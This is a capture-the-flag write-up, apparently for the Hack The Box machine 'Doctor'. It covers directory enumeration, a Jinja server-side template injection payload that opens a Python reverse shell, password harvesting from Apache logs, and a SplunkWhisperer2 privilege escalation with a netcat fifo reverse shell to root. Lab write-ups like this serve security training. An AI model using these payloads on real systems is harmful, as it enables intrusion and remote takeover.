

Host Report

10.10.10.209 - Doctor

 Linux  Server - Shelled - Owned

Ports:

Port	Proto	Service	Version	Status
22	tcp	ssh	OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)	
80	tcp	http	Apache httpd 2.4.41 ((Ubuntu))	Owned

Port	Proto	Service	Version	Status
Port Notes:				
└─(kali㉿kali)-[~]				
└─\$ gobuster dir -w /usr/share/dirb/wordlists/big.txt -u http://10.10.10.209				
=====				
Gobuster v3.0.1				
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)				
=====				
[+] Url: http://10.10.10.209				
[+] Threads: 10				
[+] Wordlist: /usr/share/dirb/wordlists/big.txt				
[+] Status codes: 200,204,301,302,307,401,403				
[+] User Agent: gobuster/3.0.1				
[+] Timeout: 10s				
=====				
2021/03/10 22:12:57 Starting gobuster				
=====				
/htaccess (Status: 403)				
/htpasswd (Status: 403)				
/css (Status: 301)				
/fonts (Status: 301)				
/images (Status: 301)				
/js (Status: 301)				
/server-status (Status: 403)				
=====				
2021/03/10 22:15:17 Finished				
=====				

Doctor

←

→

↺

🏠

🔒

🔗

10.10.10.209

⋮

🔒

☆

🔍

📄

👤

☰

🔗 Kali Linux

🔗 Kali Training

🔗 Kali Tools

🔗 Kali Forums

📄 Kali Docs

🔗 NetHunter

🔗 Offensive Security

➡

Doctor.

ES DE

GET STARTED

📞

Give us a call

1-999-123-4567

✉

Send us a message

info@doctors.htb

📍

Visit us

1337 Main St.

Add doctors.htb to /etc/hosts

2 of 7

3/11/2021, 11:18 AM

Port	Proto	Service	Version	Status
<pre>127.0.0.1 kali) localhost 127.0.1.1 Doctorkali # The following lines are desirable for IPv6 capable hosts ::1 cd localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters 10.10.10.209 doctors.htb recon/autorecon.py 10.10.10.209 ~# Scanning target 10.10.10.209</pre>				

Doctor

Doctor Secure Messaging - L X +

[doctors.htb/login?next=%2F](#)

Kali Linux Kali Training Kali Tools Kali Forums Kali Docs NetHunter Offensive Security >>

Doctor Secure Messaging Home Login Register

Please log in to access this page.

Log In

Email

Password

☐ Remember Me

```
(kali@kali)~$
$ gobuster dir -w /usr/share/dirb/wordlists/big.txt -u http://doctors.htb
=====
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
=====
[+] Url:          http://doctors.htb
[+] Threads:      10
[+] Wordlist:      /usr/share/dirb/wordlists/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent:    gobuster/3.0.1
[+] Timeout:      10s
=====
2021/03/10 22:17:41 Starting gobuster
=====
/account (Status: 302)
/archive (Status: 200)
```

Port	Proto	Service	Version	Status
/home (Status: 302)				
/login (Status: 200)				
/logout (Status: 302)				
/register (Status: 200)				
/reset_password (Status: 200)				
/server-status (Status: 403)				
=====				
2021/03/10 22:20:37 Finished				
=====				
Use the registration link to create an account, then create and post a test message				

Doctor Secure Messaging

Home

New Message Account Logout

Your post has been created!



johndoe

Test Message

This is a test

1

Navigate to <http://doctors.htb/archive> and view the Source. The Title of that Test Message will be there.

```
<!--?xml version="1.0" encoding="UTF-8" ?-->
<html>
  <head></head>
  <body>
    <rss version="2.0">
      <channel>
        <title>Archive</title>
        <item>
          <title>Test Message</title>
        </item>
      </channel>
    </rss>
  </body>
</html>
```

That is an indication of a Server Side Template Injection vulnerability.

We have 2 different types of SSTI types.

<https://www.exploit-db.com/exploits/46386> - Jinja

<https://www.exploit-db.com/exploits/44102> - Twig

I try the Jinja one first.

Port	Proto	Service	Version	Status
Start Netcat listener on whichever your favorite port is (1234, 4444, 1337, etc.) Create Post with the below code as the title: <pre>{% for x in (__class__.__base__.__subclasses__() %){% if "warning" in x.__name__ %}{{x().__module__.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.26","4444"));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);").read().zfill(417)}}{%endif%}}{% endfor %}</pre> Navigate to http://doctors.htb/archive and the reverse shell will connect. Enumerate users by using <code>cat /etc/passwd</code> <pre> EXIM:x:1001:1001:EXIM:/dev/null:/bin/false sshd:x:128:65534::/run/sshd:/usr/sbin/nologin shaun:x:1002:1002:shaun,,,:/home/shaun:/bin/bash splunk:x:1003:1003:Splunk Server:/opt/splunkforwarder:/bin/bash web@doctor:~\$</pre> Check logs for any passwords using: <pre>grep -R -e 'password' /var/log/</pre> A password was entered into the email field. <pre> File Actions Edit View Help /var/log/apache2/error.log:[Thu Mar 11 04:12:57.997870 2021] [php7:error] [pid 1486] [client 10.10.14.26:43448] script '/var/www/html/recoverpassword.p hp' not found or unable to stat /var/log/apache2/error.log:[Thu Mar 11 04:13:01.172202 2021] [php7:error] [pid 4656] [client 10.10.14.26:43960] script '/var/www/html/remind_password.p hp' not found or unable to stat /var/log/apache2/error.log:[Thu Mar 11 04:13:19.431069 2021] [php7:error] [pid 1574] [client 10.10.14.26:47118] script '/var/www/html/send-password.php ' not found or unable to stat /var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password" /var/log/apache2/access.log:10.10.14.26 - - [11/Mar/2021:04:07:35 +0100] "GET /Ou6fyIme.password HTTP/1.1" 404 490 "-" "Mozilla/5.00 (Nikto/2.1.6) (Eva sions:None) (Test:map_codes)"</pre> <pre> web@doctor:~\$ su shaun su shaun Password: Guitar123 shaun@doctor:/home/web\$</pre> Privilege Escalation Moved to Splunk Universal Forwarder on port 8089				
8089	tcp	http	Splunkd httpd	Owned

Port	Proto	Service	Version	Status
------	-------	---------	---------	--------

Port Notes:

Researching Splunk's Universal Forwarder and its exploits, I came across this GitHub which seems to work well on this box, assuming Splunk's Forwarder is running as root.
<https://github.com/cnotin/SplunkWhisperer2>

Check root using `ps -aux | grep splunk` and we see that it is running as root

```
shaun@doctor:/home/web$ ps -aux | grep splunk
ps -aux | grep splunk
root      1141   0.2   2.3 265664 93304 ?        Sl   04:02   1:56 splunkd -p 8089 start
root      1143   0.0   0.3  77664 13452 ?        Ss   04:02   0:00 [splunkd pid=1141] splunkd -p 8089 start [process-runner]
shaun     28614  0.0   0.0  17668   664 pts/0    S+   16:03   0:00 grep --color=auto splunk
shaun@doctor:/home/web$
```

```
└─(kali㉿kali)-[~/SplunkWhisperer2/PySplunkWhisperer2]
```

```
└─$ python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.26 --username shaun --password Guitar123 --payload
```

```
id 1 x
```

Running in remote mode (Remote Code Execution)

```
[.] Authenticating...
```

```
[+] Authenticated
```

```
[.] Creating malicious app bundle...
```

```
[+] Created malicious app bundle in: /tmp/tmp1ny503bi.tar
```

```
[+] Started HTTP server for remote mode
```

```
[.] Installing app from: http://10.10.14.26:8181/
```

```
10.10.10.209 - - [11/Mar/2021 11:59:37] "GET / HTTP/1.1" 200 -
```

```
[+] App installed, your code should be running now!
```

Press RETURN to cleanup

```
[.] Removing app...
```

```
[+] App removed
```

```
[+] Stopped HTTP server
```

```
Bye!
```

Start `sudo nc -lvp 444`

Run

```
└─(kali㉿kali)-[~/SplunkWhisperer2/PySplunkWhisperer2]
```

```
└─$ python3 ./PySplunkWhisperer2_remote.py --host 10.10.10.209 --username shaun --password Guitar123 --lhost 10.10.14.26 --payload "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bin/bash -i 2>&1|nc
```

```
10.10.14.26 444 >/tmp/f"
```

Running in remote mode (Remote Code Execution)

```
[.] Authenticating...
```

```
[+] Authenticated
```

```
[.] Creating malicious app bundle...
```

```
[+] Created malicious app bundle in: /tmp/tmpet6hrwzq.tar
```

```
[+] Started HTTP server for remote mode
```

```
[.] Installing app from: http://10.10.14.26:8181/
```

```
10.10.10.209 - - [11/Mar/2021 12:09:39] "GET / HTTP/1.1" 200 -
```

```
[+] App installed, your code should be running now!
```

Press RETURN to cleanup

```
root@doctor:/# cat /home/shaun/user.txt
```

```
cat /home/shaun/user.txt
```

```
dd54de0ee700eb89120b5bd2644c3716
```

```
root@doctor:/# cat /root/root.txt
```

```
cat /root/root.txt
```

```
11a820fdda3dd8b4553a3ccf69aaa0f4
```

```
root@doctor:/# whoami
```

```
whoami
```

```
root
```

```
root@doctor:/# hostname
```

```
hostname
```

```
doctor
```

```
root@doctor:/# ifconfig
```

```
ifconfig
```

```
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
```

```
inet 10.10.10.209 netmask 255.255.255.0 broadcast 10.10.10.255
```

```
inet6 dead:beef::250:56ff:feb9:c53a prefixlen 64 scopeid 0x0<global>
```

```
inet6 fe80::250:56ff:feb9:c53a prefixlen 64 scopeid 0x20<link>
```

```
ether 00:50:56:b9:c5:3a txqueuelen 1000 (Ethernet)
```

```
RX packets 1220561 bytes 115238845 (115.2 MB)
```

```
RX errors 0 dropped 114 overruns 0 frame 0
```

```
TX packets 681387 bytes 257188065 (257.1 MB)
```

```
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
```

```
inet 127.0.0.1 netmask 255.0.0.0
```

```
inet6 ::1 prefixlen 128 scopeid 0x10<host>
```

```
loop txqueuelen 1000 (Local Loopback)
```

```
RX packets 474051 bytes 98224753 (98.2 MB)
```

```
RX errors 0 dropped 0 overruns 0 frame 0
```

```
TX packets 474051 bytes 98224753 (98.2 MB)
```

Port	Proto	Service	Version	Status
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0				
root@doctor:/#				